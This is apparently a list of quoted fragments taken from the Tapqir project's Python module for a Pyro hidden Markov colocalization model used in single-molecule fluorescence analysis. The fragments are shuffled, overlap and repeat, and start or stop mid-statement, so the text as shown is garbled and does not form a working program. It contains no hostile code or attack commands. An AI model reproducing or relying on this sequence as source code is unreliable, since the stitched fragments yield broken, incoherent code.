"+ kdx] # spot presence m = pyro.sample( f\"m_{kdx}_{fsx}\", dist.Bernoulli(Vindex(probs_m(lamda, self.K))[..., theta, kdx]),",
"= self.device data = self.data pyro.param( \"proximity_loc\", lambda: torch.tensor(0.5, device=device), constraint=constraints.interval( 0, (self.data.P",
"m = pyro.sample( f\"m_{kdx}_{fsx}\", dist.Bernoulli(Vindex(probs_m(lamda, self.K))[..., theta, kdx]), ) with handlers.mask(mask=m > 0):",
"parameters. \"\"\" device = self.device data = self.data pyro.param( \"proximity_loc\", lambda: torch.tensor(0.5, device=device),",
") # sample hidden model state (3,1,1,1) z_probs = ( Vindex(pyro.param(\"z_trans\"))[ndx, fdx, 0]",
"HMM._contraction_identity(sum_term) time = sum_term.size(-3) even_time = time // 2 * 2 if time",
"fetch data obs, target_locs, is_ontarget = self.data.fetch(ndx, fdx, self.cdx) # sample background intensity",
"+ (state_dim, state_dim)) result = result.repeat(batch_shape + (1, 1)) return result @property def",
") z_prev = z_curr def guide(self): \"\"\" **Variational Distribution** \"\"\" # global parameters",
"for kinetic simulations. Efficient fitting is not yet supported. **Reference**: 1. <NAME>, <NAME>,",
"= pyro.sample(\"background_std\", dist.HalfNormal(100)) z_prev = None for fdx in frames: if self.vectorized: fsx,",
"= logits.size(-1) sum_terms = [] # up sweep while logits.size(-3) > 1: time",
"> 0): # sample spot variables pyro.sample( f\"height_{kdx}_{fsx}\", dist.Gamma( Vindex(pyro.param(\"h_loc\"))[kdx, ndx, fdx] *",
"time frames frames = ( pyro.vectorized_markov(name=\"frames\", size=self.data.F, dim=-1) if self.vectorized else pyro.markov(range(self.data.F)) )",
"self.use_pykeops, ), obs=obs, ) z_prev = z_curr def guide(self): \"\"\" **Variational Distribution** \"\"\"",
"-(self.data.P + 1) / 2, (self.data.P + 1) / 2, ), ) pyro.sample(",
"... @ x[..., T-1, :, :] but does so numerically stably in log",
"hidden model state (1+S,) z_probs = ( Vindex(init)[..., :, is_ontarget.long()] if isinstance(fdx, int)",
"-1), torch.stack(widths, -1), torch.stack(xs, -1), torch.stack(ys, -1), target_locs, background, gain, self.data.offset.samples, self.data.offset.logits.to(self.dtype), self.data.P,",
"result = self._sequential_logmatmulexp(pyro.param(\"z_trans\").data.log()) return result[..., 0, 1].exp() @property def pspecific(self) -> torch.Tensor: r\"\"\"",
"pyro.param( \"trans_mean\", lambda: torch.ones(self.S + 1, self.S + 1, device=device), constraint=constraints.simplex, ) pyro.param(",
"\"w_mean\", lambda: torch.full((self.K, data.Nt, data.F), 1.5, device=device), constraint=constraints.interval( 0.75 + torch.finfo(self.dtype).eps, 2.25 -",
") pyro.param( \"w_mean\", lambda: torch.full((self.K, data.Nt, data.F), 1.5, device=device), constraint=constraints.interval( 0.75 + torch.finfo(self.dtype).eps,",
"Theobald DL. Bayesian machine learning analysis of single-molecule fluorescence colocalization images. bioRxiv. 2021",
"= pyro.sample(\"proximity\", dist.Exponential(1)) size = torch.stack( ( torch.full_like(proximity, 2.0), (((self.data.P + 1) /",
"self.vectorized: return ( infer.JitTraceMarkovEnum_ELBO if jit else infer.TraceMarkovEnum_ELBO )(max_plate_nesting=2, ignore_jit_warnings=True) return (infer.JitTraceEnum_ELBO if",
") with handlers.mask(mask=m > 0): # sample spot variables height = pyro.sample( f\"height_{kdx}_{fsx}\",",
"), ) pyro.sample( \"init\", dist.Dirichlet(pyro.param(\"init_mean\") * pyro.param(\"init_size\")) ) pyro.sample( \"trans\", dist.Dirichlet( pyro.param(\"trans_mean\") *",
"self.data.Nt, self.data.F), 0.5, device=device, ), constraint=constraints.unit_interval, ) def TraceELBO(self, jit=False): \"\"\" A trace",
"device: Computation device (cpu or gpu). :param dtype: Floating point precision. :param use_pykeops:",
"Use pykeops as backend to marginalize out offset. :param vectorized: Vectorize time-dimension. \"\"\"",
"result[..., 0, 1].exp() @property def pspecific(self) -> torch.Tensor: r\"\"\" Probability of there being",
"specific], -(self.data.P + 1) / 2, (self.data.P + 1) / 2, ), )",
"\"z_trans\", lambda: torch.ones( data.Nt, data.F, 1 + self.S, 1 + self.S, device=device, ),",
") pyro.param( \"w_size\", lambda: torch.full((self.K, data.Nt, data.F), 100, device=device), constraint=constraints.greater_than(2.0), ) pyro.param( \"x_mean\",",
"class HMM(Cosmos): r\"\"\" **Single-Color Hidden Markov Colocalization Model** .. note:: This model is",
"\"h_loc\", lambda: torch.full((self.K, data.Nt, data.F), 2000, device=device), constraint=constraints.positive, ) pyro.param( \"h_beta\", lambda: torch.full((self.K,",
"-1), torch.stack(ys, -1), target_locs, background, gain, self.data.offset.samples, self.data.offset.logits.to(self.dtype), self.data.P, torch.stack(torch.broadcast_tensors(*ms), -1), self.use_pykeops, ),",
"import math from typing import Union import torch import torch.distributions.constraints as constraints from",
"torch.tensor(100, device=device), constraint=constraints.positive, ) pyro.param( \"background_mean_loc\", lambda: torch.full( (data.Nt, 1), data.median - self.data.offset.mean,",
"even_time = time // 2 * 2 even_part = logits[..., :even_time, :, :]",
"model is used for kinetic simulations. Efficient fitting is not yet supported. **Reference**:",
"handlers.mask(mask=m > 0): # sample spot variables height = pyro.sample( f\"height_{kdx}_{fsx}\", dist.HalfNormal(10000), )",
"fsx, fdx = fdx else: fsx = fdx # sample background intensity pyro.sample(",
"import Vindex from pyroapi import distributions as dist from pyroapi import handlers, infer,",
"z_probs = ( Vindex(pyro.param(\"z_trans\"))[ndx, fdx, 0] if isinstance(fdx, int) and fdx < 1",
"0.75, 2.25, ), ) x = pyro.sample( f\"x_{kdx}_{fsx}\", AffineBeta( 0, Vindex(size)[..., specific], -(self.data.P",
"/ 2, (self.data.P + 1) / 2, ), ) z_prev = z_curr def",
"pyro.sample( f\"data_{fsx}\", KSMOGN( torch.stack(heights, -1), torch.stack(widths, -1), torch.stack(xs, -1), torch.stack(ys, -1), target_locs, background,",
"image. :param channels: Number of color channels. :param device: Computation device (cpu or",
"), dim=-1, ) # spots spots = pyro.plate(\"spots\", self.K) # aoi sites aois",
"data.Nt, data.F), 0.001, device=device), constraint=constraints.positive, ) pyro.param( \"w_mean\", lambda: torch.full((self.K, data.Nt, data.F), 1.5,",
"fsx, fdx = fdx else: fsx = fdx # fetch data obs, target_locs,",
":] @ x[..., 1, :, :] @ ... @ x[..., T-1, :, :]",
"# SPDX-License-Identifier: Apache-2.0 \"\"\" hmm ^^^ \"\"\" import math from typing import Union",
"to the Tapqir project. # SPDX-License-Identifier: Apache-2.0 \"\"\" hmm ^^^ \"\"\" import math",
"y = x_y.unbind(-3) contracted = _logmatmulexp(x, y) if time > even_time: contracted =",
"obs=obs, ) z_prev = z_curr def guide(self): \"\"\" **Variational Distribution** \"\"\" # global",
"# Copyright Contributors to the Tapqir project. # SPDX-License-Identifier: Apache-2.0 \"\"\" hmm ^^^",
"background = pyro.sample( f\"background_{fdx}\", dist.Gamma( (background_mean / background_std) ** 2, background_mean / background_std",
"1 : time, :, :] = left_term[ ..., even_time // 2 : even_time",
"fsx = fdx # fetch data obs, target_locs, is_ontarget = self.data.fetch(ndx, fdx, self.cdx)",
"jit else infer.TraceEnum_ELBO)( max_plate_nesting=2, ignore_jit_warnings=True ) @staticmethod def _sequential_logmatmulexp(logits: torch.Tensor) -> torch.Tensor: \"\"\"",
"batch_shape + (even_time // 2, 2, state_dim, state_dim) ) x, y = x_y.unbind(-3)",
"as ndx: ndx = ndx[:, None] pyro.sample( \"background_mean\", dist.Delta(Vindex(pyro.param(\"background_mean_loc\"))[ndx, 0]), ) pyro.sample( \"background_std\",",
"torch.finfo(self.dtype).eps, ), ) pyro.param( \"w_size\", lambda: torch.full((self.K, data.Nt, data.F), 100, device=device), constraint=constraints.greater_than(2.0), )",
"dist.Exponential(1)) proximity = pyro.sample(\"proximity\", dist.Exponential(1)) size = torch.stack( ( torch.full_like(proximity, 2.0), (((self.data.P +",
"background intensity background = pyro.sample( f\"background_{fdx}\", dist.Gamma( (background_mean / background_std) ** 2, background_mean",
"specific = onehot_theta[..., 1 + kdx] # spot presence m = pyro.sample( f\"m_{kdx}_{fsx}\",",
"Distribution** \"\"\" # global parameters pyro.sample( \"gain\", dist.Gamma( pyro.param(\"gain_loc\") * pyro.param(\"gain_beta\"), pyro.param(\"gain_beta\"), ),",
"2, ), ) z_prev = z_curr def init_parameters(self): \"\"\" Initialize variational parameters. \"\"\"",
"Vindex(size)[..., specific], -(self.data.P + 1) / 2, (self.data.P + 1) / 2, ),",
"/ 2, ), ) y = pyro.sample( f\"y_{kdx}_{fsx}\", AffineBeta( 0, Vindex(size)[..., specific], -(self.data.P",
"<NAME>, Theobald DL. Bayesian machine learning analysis of single-molecule fluorescence colocalization images. bioRxiv.",
"result.reshape((1,) * len(batch_shape) + (state_dim, state_dim)) result = result.repeat(batch_shape + (1, 1)) return",
"aois as ndx: ndx = ndx[:, None] # background mean and std background_mean",
"pyroapi import handlers, infer, pyro from torch.nn.functional import one_hot from tapqir.distributions import KSMOGN,",
"Vindex(pyro.param(\"b_loc\"))[ndx, fdx] * Vindex(pyro.param(\"b_beta\"))[ndx, fdx], Vindex(pyro.param(\"b_beta\"))[ndx, fdx], ), ) # sample hidden model",
"typing import Union import torch import torch.distributions.constraints as constraints from pyro.distributions.hmm import _logmatmulexp",
"fdx, 0] if isinstance(fdx, int) and fdx < 1 else Vindex(pyro.param(\"z_trans\"))[ndx, fdx, z_prev]",
"= [\"gain\", \"proximity\", \"lamda\", \"trans\"] def model(self): \"\"\" **Generative Model** \"\"\" # global",
"# sample hidden model state (3,1,1,1) z_probs = ( Vindex(pyro.param(\"z_trans\"))[ndx, fdx, 0] if",
"None] # background mean and std background_mean = pyro.sample(\"background_mean\", dist.HalfNormal(1000)) background_std = pyro.sample(\"background_std\",",
"theta, kdx]), ) with handlers.mask(mask=m > 0): # sample spot variables height =",
") z_prev = z_curr def init_parameters(self): \"\"\" Initialize variational parameters. \"\"\" device =",
") pyro.param( \"init_mean\", lambda: torch.ones(self.S + 1, device=device), constraint=constraints.simplex, ) pyro.param( \"init_size\", lambda:",
"can be present in a single image. :param channels: Number of color channels.",
"spot :math:`p(\\mathsf{specific})` \"\"\" return self.z_probs @property def m_probs(self) -> torch.Tensor: r\"\"\" Posterior spot",
"parameters pyro.sample( \"gain\", dist.Gamma( pyro.param(\"gain_loc\") * pyro.param(\"gain_beta\"), pyro.param(\"gain_beta\"), ), ) pyro.sample( \"init\", dist.Dirichlet(pyro.param(\"init_mean\")",
"lambda: torch.tensor(100, device=device), constraint=constraints.greater_than(2.0), ) pyro.param( \"lamda_loc\", lambda: torch.tensor(0.5, device=device), constraint=constraints.positive, ) pyro.param(",
"- torch.finfo(self.dtype).eps, ), ) pyro.param( \"size\", lambda: torch.full((self.K, data.Nt, data.F), 200, device=device), constraint=constraints.greater_than(2.0),",
"Initialize variational parameters. \"\"\" device = self.device data = self.data pyro.param( \"proximity_loc\", lambda:",
"frames: if self.vectorized: fsx, fdx = fdx else: fsx = fdx # fetch",
"self.K, self.data.Nt, self.data.F), 0.5, device=device, ), constraint=constraints.unit_interval, ) def TraceELBO(self, jit=False): \"\"\" A",
"Hidden Markov Colocalization Model** .. note:: This model is used for kinetic simulations.",
"to marginalize out offset. :param vectorized: Vectorize time-dimension. \"\"\" name = \"hmm\" def",
"device=device), constraint=constraints.positive, ) pyro.param( \"h_loc\", lambda: torch.full((self.K, data.Nt, data.F), 2000, device=device), constraint=constraints.positive, )",
"result = result.repeat(batch_shape + (1, 1)) return result @property def z_probs(self) -> torch.Tensor:",
"one_hot(theta, num_classes=1 + self.K) ms, heights, widths, xs, ys = [], [], [],",
"data.Nt, data.F), 2000, device=device), constraint=constraints.positive, ) pyro.param( \"h_beta\", lambda: torch.full((self.K, data.Nt, data.F), 0.001,",
":param S: Number of distinct molecular states for the binder molecules. :param K:",
"x_y.unbind(-3) contracted = _logmatmulexp(x, y) if time > even_time: contracted = torch.cat((contracted, logits[...,",
"hmm ^^^ \"\"\" import math from typing import Union import torch import torch.distributions.constraints",
"2, state_dim, state_dim) ) x, y = x_y.unbind(-3) contracted = _logmatmulexp(x, y) if",
"\"x_mean\", lambda: torch.zeros(self.K, data.Nt, data.F, device=device), constraint=constraints.interval( -(data.P + 1) / 2 +",
"def _contraction_identity(logits: torch.Tensor) -> torch.Tensor: batch_shape = logits.shape[:-2] state_dim = logits.size(-1) result =",
"torch.finfo(self.dtype).eps, ), ) pyro.param( \"y_mean\", lambda: torch.zeros(self.K, data.Nt, data.F, device=device), constraint=constraints.interval( -(data.P +",
"S: int = 1, K: int = 2, channels: Union[tuple, list] = (0,),",
"= pyro.sample(\"gain\", dist.HalfNormal(50)) init = pyro.sample( \"init\", dist.Dirichlet(torch.ones(self.S + 1) / (self.S +",
"= pyro.sample( f\"y_{kdx}_{fsx}\", AffineBeta( 0, Vindex(size)[..., specific], -(self.data.P + 1) / 2, (self.data.P",
"expand_offtarget(trans) lamda = pyro.sample(\"lamda\", dist.Exponential(1)) proximity = pyro.sample(\"proximity\", dist.Exponential(1)) size = torch.stack( (",
"trace implementation of ELBO-based SVI that supports - exhaustive enumeration over discrete sample",
"- local parallel sampling over any sample site in the guide. \"\"\" if",
"1 ), ) trans = expand_offtarget(trans) lamda = pyro.sample(\"lamda\", dist.Exponential(1)) proximity = pyro.sample(\"proximity\",",
"= ndx[:, None] pyro.sample( \"background_mean\", dist.Delta(Vindex(pyro.param(\"background_mean_loc\"))[ndx, 0]), ) pyro.sample( \"background_std\", dist.Delta(Vindex(pyro.param(\"background_std_loc\"))[ndx, 0]), )",
"_sequential_logmatmulexp(logits: torch.Tensor) -> torch.Tensor: \"\"\" For a tensor ``x`` whose time dimension is",
"= [\"-ELBO\", \"proximity_loc\", \"gain_loc\", \"lamda_loc\"] self._global_params = [\"gain\", \"proximity\", \"lamda\", \"trans\"] def model(self):",
"1) / 2, ), ) # append ms.append(m) heights.append(height) widths.append(width) xs.append(x) ys.append(y) #",
"f\"height_{kdx}_{fsx}\", dist.HalfNormal(10000), ) width = pyro.sample( f\"width_{kdx}_{fsx}\", AffineBeta( 1.5, 2, 0.75, 2.25, ),",
"sum_term.size(-3) even_time = time // 2 * 2 if time > even_time: new_left_term[...,",
"+ torch.finfo(self.dtype).eps, (data.P + 1) / 2 - torch.finfo(self.dtype).eps, ), ) pyro.param( \"size\",",
"(data.P + 1) / 2 - torch.finfo(self.dtype).eps, ), ) pyro.param( \"size\", lambda: torch.full((self.K,",
") pyro.param( \"gain_loc\", lambda: torch.tensor(5, device=device), constraint=constraints.positive, ) pyro.param( \"gain_beta\", lambda: torch.tensor(100, device=device),",
"pyro.param( \"h_beta\", lambda: torch.full((self.K, data.Nt, data.F), 0.001, device=device), constraint=constraints.positive, ) pyro.param( \"w_mean\", lambda:",
"constraint=constraints.positive, ) pyro.param( \"w_mean\", lambda: torch.full((self.K, data.Nt, data.F), 1.5, device=device), constraint=constraints.interval( 0.75 +",
"pspecific(self) -> torch.Tensor: r\"\"\" Probability of there being a target-specific spot :math:`p(\\mathsf{specific})` \"\"\"",
"hidden model state (3,1,1,1) z_probs = ( Vindex(pyro.param(\"z_trans\"))[ndx, fdx, 0] if isinstance(fdx, int)",
"alphas @staticmethod def _contraction_identity(logits: torch.Tensor) -> torch.Tensor: batch_shape = logits.shape[:-2] state_dim = logits.size(-1)",
"def _sequential_logmatmulexp(logits: torch.Tensor) -> torch.Tensor: \"\"\" For a tensor ``x`` whose time dimension",
"contracted = torch.cat((contracted, logits[..., -1:, :, :]), dim=-3) sum_terms.append(logits) logits = contracted else:",
"self.S, 1 + self.S, device=device, ), constraint=constraints.simplex, ) pyro.param( \"m_probs\", lambda: torch.full( (1",
"Probability of there being a target-specific spot :math:`p(\\mathsf{specific})` \"\"\" return self.z_probs @property def",
"dist.HalfNormal(10000), ) width = pyro.sample( f\"width_{kdx}_{fsx}\", AffineBeta( 1.5, 2, 0.75, 2.25, ), )",
"-> torch.Tensor: batch_shape = logits.shape[:-2] state_dim = logits.size(-1) result = torch.eye(state_dim).log() result =",
"pyro.distributions.hmm import _logmatmulexp from pyro.ops.indexing import Vindex from pyroapi import distributions as dist",
"spot presence m = pyro.sample( f\"m_{kdx}_{fsx}\", dist.Bernoulli(Vindex(probs_m(lamda, self.K))[..., theta, kdx]), ) with handlers.mask(mask=m",
"), ) y = pyro.sample( f\"y_{kdx}_{fsx}\", AffineBeta( 0, Vindex(size)[..., specific], -(self.data.P + 1)",
"constraint=constraints.positive, ) pyro.param( \"trans_mean\", lambda: torch.ones(self.S + 1, self.S + 1, device=device), constraint=constraints.simplex,",
":, :] left_sum_and_term = _logmatmulexp(left_term, left_sum) new_left_term[..., :even_time:2, :, :] = left_term new_left_term[...,",
"100, device=device), constraint=constraints.greater_than(2.0), ) pyro.param( \"x_mean\", lambda: torch.zeros(self.K, data.Nt, data.F, device=device), constraint=constraints.interval( -(data.P",
"states for the binder molecules. :param K: Maximum number of spots that can",
"aois as ndx: ndx = ndx[:, None] pyro.sample( \"background_mean\", dist.Delta(Vindex(pyro.param(\"background_mean_loc\"))[ndx, 0]), ) pyro.sample(",
"presence m_probs = Vindex(pyro.param(\"m_probs\"))[z_curr, kdx, ndx, fdx] m = pyro.sample( f\"m_{kdx}_{fsx}\", dist.Categorical(m_probs), infer={\"enumerate\":",
"lambda: torch.tensor(5, device=device), constraint=constraints.positive, ) pyro.param( \"gain_beta\", lambda: torch.tensor(100, device=device), constraint=constraints.positive, ) pyro.param(",
"background_std ** 2, ), ) # sample hidden model state (1+S,) z_probs =",
"presence m = pyro.sample( f\"m_{kdx}_{fsx}\", dist.Bernoulli(Vindex(probs_m(lamda, self.K))[..., theta, kdx]), ) with handlers.mask(mask=m >",
"= result.repeat(batch_shape + (1, 1)) return result @property def z_probs(self) -> torch.Tensor: r\"\"\"",
"\"proximity\", \"lamda\", \"trans\"] def model(self): \"\"\" **Generative Model** \"\"\" # global parameters gain",
"channels. :param device: Computation device (cpu or gpu). :param dtype: Floating point precision.",
"distinct molecular states for the binder molecules. :param K: Maximum number of spots",
":, :] @ ... @ x[..., T-1, :, :] but does so numerically",
"-3, computes:: x[..., 0, :, :] @ x[..., 1, :, :] @ ...",
") init = expand_offtarget(init) trans = pyro.sample( \"trans\", dist.Dirichlet(torch.ones(self.S + 1, self.S +",
"= torch.cat((contracted, logits[..., -1:, :, :]), dim=-3) sum_terms.append(logits) logits = contracted else: sum_terms.append(logits)",
"return alphas @staticmethod def _contraction_identity(logits: torch.Tensor) -> torch.Tensor: batch_shape = logits.shape[:-2] state_dim =",
"/ background_std) ** 2, background_mean / background_std ** 2, ), ) # sample",
"dtype, use_pykeops) self.conv_params = [\"-ELBO\", \"proximity_loc\", \"gain_loc\", \"lamda_loc\"] self._global_params = [\"gain\", \"proximity\", \"lamda\",",
"even_time = time // 2 * 2 if time > even_time: new_left_term[..., time",
": even_time // 2 + 1, :, : ] left_term = left_term[..., :",
"device=device), constraint=constraints.simplex, ) pyro.param( \"trans_size\", lambda: torch.full((self.S + 1, 1), 2, device=device), constraint=constraints.positive,",
"< 1 else Vindex(trans)[..., z_prev, :, is_ontarget.long()] ) z_curr = pyro.sample(f\"z_{fsx}\", dist.Categorical(z_probs)) theta",
"self.S + 1) / (self.S + 1)).to_event( 1 ), ) trans = expand_offtarget(trans)",
") for kdx in spots: # spot presence m_probs = Vindex(pyro.param(\"m_probs\"))[z_curr, kdx, ndx,",
"), constraint=constraints.positive, ) pyro.param( \"b_beta\", lambda: torch.ones(data.Nt, data.F, device=device), constraint=constraints.positive, ) pyro.param( \"h_loc\",",
"f\"background_{fdx}\", dist.Gamma( (background_mean / background_std) ** 2, background_mean / background_std ** 2, ),",
"alphas = _logmatmulexp(left_term, sum_term) return alphas @staticmethod def _contraction_identity(logits: torch.Tensor) -> torch.Tensor: batch_shape",
"if self.vectorized: fsx, fdx = fdx else: fsx = fdx # sample background",
") onehot_theta = one_hot(theta, num_classes=1 + self.K) ms, heights, widths, xs, ys =",
"\"w_size\", lambda: torch.full((self.K, data.Nt, data.F), 100, device=device), constraint=constraints.greater_than(2.0), ) pyro.param( \"x_mean\", lambda: torch.zeros(self.K,",
"S: Number of distinct molecular states for the binder molecules. :param K: Maximum",
"1)).to_event( 1 ), ) trans = expand_offtarget(trans) lamda = pyro.sample(\"lamda\", dist.Exponential(1)) proximity =",
"# global parameters gain = pyro.sample(\"gain\", dist.HalfNormal(50)) init = pyro.sample( \"init\", dist.Dirichlet(torch.ones(self.S +",
"pyro.sample( f\"m_{kdx}_{fsx}\", dist.Categorical(m_probs), infer={\"enumerate\": \"parallel\"}, ) with handlers.mask(mask=m > 0): # sample spot",
"@ x[..., 1, :, :] @ ... @ x[..., T-1, :, :] but",
"background mean and std background_mean = pyro.sample(\"background_mean\", dist.HalfNormal(1000)) background_std = pyro.sample(\"background_std\", dist.HalfNormal(100)) z_prev",
"fdx else: fsx = fdx # sample background intensity pyro.sample( f\"background_{fsx}\", dist.Gamma( Vindex(pyro.param(\"b_loc\"))[ndx,",
"= ( Vindex(pyro.param(\"z_trans\"))[ndx, fdx, 0] if isinstance(fdx, int) and fdx < 1 else",
"dist.Dirichlet(pyro.param(\"init_mean\") * pyro.param(\"init_size\")) ) pyro.sample( \"trans\", dist.Dirichlet( pyro.param(\"trans_mean\") * pyro.param(\"trans_size\") ).to_event(1), ) pyro.sample(",
"torch.tensor(0.5, device=device), constraint=constraints.interval( 0, (self.data.P + 1) / math.sqrt(12) - torch.finfo(self.dtype).eps, ), )",
"None] pyro.sample( \"background_mean\", dist.Delta(Vindex(pyro.param(\"background_mean_loc\"))[ndx, 0]), ) pyro.sample( \"background_std\", dist.Delta(Vindex(pyro.param(\"background_std_loc\"))[ndx, 0]), ) z_prev =",
"left_term = HMM._contraction_identity(sum_term) # down sweep while sum_terms: sum_term = sum_terms.pop() new_left_term =",
"self.device))[ torch.clamp(z_curr, min=0, max=1) ] ), infer={\"enumerate\": \"parallel\"}, ) onehot_theta = one_hot(theta, num_classes=1",
"torch.ones(data.Nt, 1, device=device), constraint=constraints.positive, ) pyro.param( \"b_loc\", lambda: torch.full( (data.Nt, data.F), data.median -",
"pyro.param( \"b_beta\", lambda: torch.ones(data.Nt, data.F, device=device), constraint=constraints.positive, ) pyro.param( \"h_loc\", lambda: torch.full((self.K, data.Nt,",
"+ 1, :, : ] left_term = left_term[..., : even_time // 2, :,",
"fdx, z_prev] ) z_curr = pyro.sample( f\"z_{fsx}\", dist.Categorical(z_probs), infer={\"enumerate\": \"parallel\"}, ) for kdx",
"pyro.sample(\"background_std\", dist.HalfNormal(100)) z_prev = None for fdx in frames: if self.vectorized: fsx, fdx",
"data.F), 1.5, device=device), constraint=constraints.interval( 0.75 + torch.finfo(self.dtype).eps, 2.25 - torch.finfo(self.dtype).eps, ), ) pyro.param(",
"Floating point precision. :param use_pykeops: Use pykeops as backend to marginalize out offset.",
"constraint=constraints.simplex, ) pyro.param( \"trans_size\", lambda: torch.full((self.S + 1, 1), 2, device=device), constraint=constraints.positive, )",
"1.5, device=device), constraint=constraints.interval( 0.75 + torch.finfo(self.dtype).eps, 2.25 - torch.finfo(self.dtype).eps, ), ) pyro.param( \"w_size\",",
"= time // 2 * 2 if time > even_time: new_left_term[..., time -",
"data.F, 1 + self.S, 1 + self.S, device=device, ), constraint=constraints.simplex, ) pyro.param( \"m_probs\",",
"+ 1, device=device), constraint=constraints.simplex, ) pyro.param( \"init_size\", lambda: torch.tensor(2, device=device), constraint=constraints.positive, ) pyro.param(",
"dist.Categorical(z_probs)) theta = pyro.sample( f\"theta_{fdx}\", dist.Categorical( Vindex(probs_theta(self.K, self.device))[ torch.clamp(z_curr, min=0, max=1) ] ),",
"// 2 * 2 even_part = logits[..., :even_time, :, :] x_y = even_part.reshape(",
"Vindex(pyro.param(\"w_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"w_size\"))[kdx, ndx, fdx], 0.75, 2.25, ), ) pyro.sample( f\"x_{kdx}_{fsx}\", AffineBeta(",
"= fdx # sample background intensity pyro.sample( f\"background_{fsx}\", dist.Gamma( Vindex(pyro.param(\"b_loc\"))[ndx, fdx] * Vindex(pyro.param(\"b_beta\"))[ndx,",
"f\"y_{kdx}_{fsx}\", AffineBeta( Vindex(pyro.param(\"y_mean\"))[kdx, ndx, fdx], Vindex(pyro.param(\"size\"))[kdx, ndx, fdx], -(self.data.P + 1) / 2,",
"self.S, device=device, ), constraint=constraints.simplex, ) pyro.param( \"m_probs\", lambda: torch.full( (1 + self.S, self.K,",
"= sum_term.size(-3) even_time = time // 2 * 2 if time > even_time:",
"pyro.vectorized_markov(name=\"frames\", size=self.data.F, dim=-1) if self.vectorized else pyro.markov(range(self.data.F)) ) with aois as ndx: ndx",
"(0,), device: str = \"cpu\", dtype: str = \"double\", use_pykeops: bool = True,",
"as dist from pyroapi import handlers, infer, pyro from torch.nn.functional import one_hot from",
"z_curr def guide(self): \"\"\" **Variational Distribution** \"\"\" # global parameters pyro.sample( \"gain\", dist.Gamma(",
"+ torch.finfo(self.dtype).eps, (data.P + 1) / 2 - torch.finfo(self.dtype).eps, ), ) pyro.param( \"y_mean\",",
"+ 1) / 2, ), ) y = pyro.sample( f\"y_{kdx}_{fsx}\", AffineBeta( 0, Vindex(size)[...,",
"0, Vindex(size)[..., specific], -(self.data.P + 1) / 2, (self.data.P + 1) / 2,",
"is used for kinetic simulations. Efficient fitting is not yet supported. **Reference**: 1.",
"onehot_theta = one_hot(theta, num_classes=1 + self.K) ms, heights, widths, xs, ys = [],",
"molecular states for the binder molecules. :param K: Maximum number of spots that",
"torch.stack(xs, -1), torch.stack(ys, -1), target_locs, background, gain, self.data.offset.samples, self.data.offset.logits.to(self.dtype), self.data.P, torch.stack(torch.broadcast_tensors(*ms), -1), self.use_pykeops,",
"= logits.size(-1) result = torch.eye(state_dim).log() result = result.reshape((1,) * len(batch_shape) + (state_dim, state_dim))",
"constraint=constraints.positive, ) pyro.param( \"lamda_beta\", lambda: torch.tensor(100, device=device), constraint=constraints.positive, ) pyro.param( \"init_mean\", lambda: torch.ones(self.S",
"heights, widths, xs, ys = [], [], [], [], [] for kdx in",
"1) / math.sqrt(12) - torch.finfo(self.dtype).eps, ), ) pyro.param( \"proximity_size\", lambda: torch.tensor(100, device=device), constraint=constraints.greater_than(2.0),",
"= z_curr def guide(self): \"\"\" **Variational Distribution** \"\"\" # global parameters pyro.sample( \"gain\",",
") pyro.param( \"b_beta\", lambda: torch.ones(data.Nt, data.F, device=device), constraint=constraints.positive, ) pyro.param( \"h_loc\", lambda: torch.full((self.K,",
"\"gain\", dist.Gamma( pyro.param(\"gain_loc\") * pyro.param(\"gain_beta\"), pyro.param(\"gain_beta\"), ), ) pyro.sample( \"init\", dist.Dirichlet(pyro.param(\"init_mean\") * pyro.param(\"init_size\"))",
"@ ... @ x[..., T-1, :, :] but does so numerically stably in",
"device (cpu or gpu). :param dtype: Floating point precision. :param use_pykeops: Use pykeops",
"that supports - exhaustive enumeration over discrete sample sites, and - local parallel",
"math.sqrt(12), ), ) # spots spots = pyro.plate(\"spots\", self.K) # aoi sites aois",
"self.K) ms, heights, widths, xs, ys = [], [], [], [], [] for",
"else: fsx = fdx # sample background intensity pyro.sample( f\"background_{fsx}\", dist.Gamma( Vindex(pyro.param(\"b_loc\"))[ndx, fdx]",
"lambda: torch.full( (1 + self.S, self.K, self.data.Nt, self.data.F), 0.5, device=device, ), constraint=constraints.unit_interval, )",
"2 - 1), ), dim=-1, ) # spots spots = pyro.plate(\"spots\", self.K) #",
") # sample hidden model state (1+S,) z_probs = ( Vindex(init)[..., :, is_ontarget.long()]",
"dist.Delta(Vindex(pyro.param(\"background_mean_loc\"))[ndx, 0]), ) pyro.sample( \"background_std\", dist.Delta(Vindex(pyro.param(\"background_std_loc\"))[ndx, 0]), ) z_prev = None for fdx",
"sum_term = sum_terms.pop() new_left_term = HMM._contraction_identity(sum_term) time = sum_term.size(-3) even_time = time //",
"/ 2, ), ) z_prev = z_curr def init_parameters(self): \"\"\" Initialize variational parameters.",
":even_time:2, :, :] = left_term new_left_term[..., 1:even_time:2, :, :] = left_sum_and_term left_term =",
"), ) pyro.param( \"size\", lambda: torch.full((self.K, data.Nt, data.F), 200, device=device), constraint=constraints.greater_than(2.0), ) #",
"background intensity pyro.sample( f\"background_{fsx}\", dist.Gamma( Vindex(pyro.param(\"b_loc\"))[ndx, fdx] * Vindex(pyro.param(\"b_beta\"))[ndx, fdx], Vindex(pyro.param(\"b_beta\"))[ndx, fdx], ),",
"point precision. :param use_pykeops: Use pykeops as backend to marginalize out offset. :param",
"constraint=constraints.simplex, ) pyro.param( \"init_size\", lambda: torch.tensor(2, device=device), constraint=constraints.positive, ) pyro.param( \"trans_mean\", lambda: torch.ones(self.S",
"= pyro.sample(\"lamda\", dist.Exponential(1)) proximity = pyro.sample(\"proximity\", dist.Exponential(1)) size = torch.stack( ( torch.full_like(proximity, 2.0),",
"global parameters pyro.sample( \"gain\", dist.Gamma( pyro.param(\"gain_loc\") * pyro.param(\"gain_beta\"), pyro.param(\"gain_beta\"), ), ) pyro.sample( \"init\",",
"ndx = ndx[:, None] # background mean and std background_mean = pyro.sample(\"background_mean\", dist.HalfNormal(1000))",
"\"\"\" **Generative Model** \"\"\" # global parameters gain = pyro.sample(\"gain\", dist.HalfNormal(50)) init =",
"a target-specific spot :math:`p(z=1)` \"\"\" result = self._sequential_logmatmulexp(pyro.param(\"z_trans\").data.log()) return result[..., 0, 1].exp() @property",
"self.vectorized else pyro.markov(range(self.data.F)) ) with aois as ndx: ndx = ndx[:, None] #",
"torch.zeros(self.K, data.Nt, data.F, device=device), constraint=constraints.interval( -(data.P + 1) / 2 + torch.finfo(self.dtype).eps, (data.P",
